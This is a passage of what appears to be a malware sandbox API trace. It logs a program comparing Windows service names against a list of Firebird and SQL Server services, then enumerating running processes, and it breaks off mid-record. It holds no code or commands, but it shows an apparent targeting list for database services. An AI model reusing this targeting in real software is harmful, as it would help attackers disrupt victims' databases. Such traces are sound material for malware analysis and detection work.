lpString2="CoreMessagingRegistrar") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0148.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0148.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0148.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0148.353] lstrlenW (lpString="CryptSvc") returned 8 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.353] lstrlenW (lpString="DcomLaunch") returned 10 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.353] lstrlenW (lpString="DeviceAssociationService") returned 24 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0148.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0148.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0148.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0148.353] lstrlenW (lpString="Dhcp") returned 4 [0148.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.354] lstrlenW (lpString="Dnscache") returned 8 [0148.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.354] lstrlenW (lpString="DoSvc") returned 5 [0148.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0148.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0148.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0148.354] lstrlenW (lpString="DPS") returned 3 [0148.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.354] lstrlenW (lpString="DusmSvc") returned 7 [0148.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0148.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0148.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0148.354] lstrlenW (lpString="EventLog") returned 8 [0148.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0148.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0148.354] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0148.354] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0148.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0148.355] lstrlenW (lpString="EventSystem") returned 11 [0148.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.355] lstrlenW (lpString="FontCache") returned 9 [0148.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0148.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0148.355] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0148.355] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0148.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0148.355] lstrlenW (lpString="gpsvc") returned 5 [0148.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.355] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.355] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.355] lstrlenW (lpString="iphlpsvc") returned 8 [0148.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.355] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0148.355] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0148.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0148.355] lstrlenW (lpString="KeyIso") returned 6 [0148.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0148.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0148.356] lstrlenW (lpString="LanmanServer") returned 12 [0148.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0148.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0148.356] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.356] lstrlenW (lpString="lfsvc") returned 5 [0148.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0148.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0148.356] lstrlenW (lpString="lmhosts") returned 7 [0148.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.356] lstrlenW (lpString="LSM") returned 3 [0148.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0148.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0148.356] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0148.356] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0148.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0148.357] lstrlenW (lpString="MapsBroker") returned 10 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0148.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0148.357] lstrlenW (lpString="MpsSvc") returned 6 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.357] lstrlenW (lpString="NcbService") returned 10 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0148.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0148.357] lstrlenW (lpString="netprofm") returned 8 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0148.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0148.357] lstrlenW (lpString="NlaSvc") returned 6 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0148.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0148.357] lstrlenW (lpString="nsi") returned 3 [0148.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0148.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0148.357] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0148.357] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0148.358] lstrlenW (lpString="PcaSvc") returned 6 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0148.358] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0148.358] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0148.358] lstrlenW (lpString="PlugPlay") returned 8 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0148.358] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0148.358] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0148.358] lstrlenW (lpString="Power") returned 5 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0148.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0148.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0148.358] lstrlenW (lpString="ProfSvc") returned 7 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0148.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0148.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0148.358] lstrlenW (lpString="RpcEptMapper") returned 12 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.358] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0148.358] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0148.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0148.358] lstrlenW (lpString="RpcSs") returned 5 [0148.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0148.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0148.359] lstrlenW (lpString="SamSs") returned 5 [0148.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0148.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0148.359] lstrlenW (lpString="Schedule") returned 8 [0148.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0148.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0148.359] lstrlenW (lpString="SecurityHealthService") returned 21 [0148.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0148.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0148.359] lstrlenW (lpString="SENS") returned 4 [0148.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0148.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0148.359] lstrlenW (lpString="ShellHWDetection") returned 16 [0148.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.359] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0148.359] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0148.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0148.360] lstrlenW (lpString="Spooler") returned 7 [0148.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0148.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0148.360] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0148.360] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0148.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0148.360] lstrlenW (lpString="SSDPSRV") returned 7 [0148.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0148.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0148.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0148.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0148.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0148.360] lstrlenW (lpString="StateRepository") returned 15 [0148.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0148.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0148.360] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0148.360] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0148.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0148.360] lstrlenW (lpString="SysMain") returned 7 [0148.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0148.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0148.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0148.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0148.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3eb9108 | out: hHeap=0x5a0000) returned 1 [0148.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0148.378] Process32FirstW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.379] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0148.380] lstrlenW (lpString="System") returned 6 [0148.380] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0148.381] lstrlenW (lpString="smss.exe") returned 8 [0148.381] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.382] lstrlenW (lpString="csrss.exe") returned 9 [0148.382] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0148.383] lstrlenW (lpString="wininit.exe") returned 11 [0148.383] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.384] lstrlenW (lpString="csrss.exe") returned 9 [0148.384] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0148.385] lstrlenW (lpString="winlogon.exe") returned 12 [0148.385] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0148.386] lstrlenW (lpString="services.exe") returned 12 [0148.386] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0148.387] lstrlenW (lpString="lsass.exe") returned 9 [0148.387] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.388] lstrlenW (lpString="svchost.exe") returned 11 [0148.388] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0148.389] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0148.389] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0148.390] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0148.390] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.391] lstrlenW (lpString="svchost.exe") returned 11 [0148.391] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0148.392] lstrlenW (lpString="dwm.exe") returned 7 [0148.392] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.392] lstrlenW (lpString="svchost.exe") returned 11 [0148.393] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.393] lstrlenW (lpString="svchost.exe") returned 11 [0148.393] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.394] lstrlenW (lpString="svchost.exe") returned 11 [0148.394] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.395] lstrlenW (lpString="svchost.exe") returned 11 [0148.395] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.396] lstrlenW (lpString="svchost.exe") returned 11 [0148.397] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, 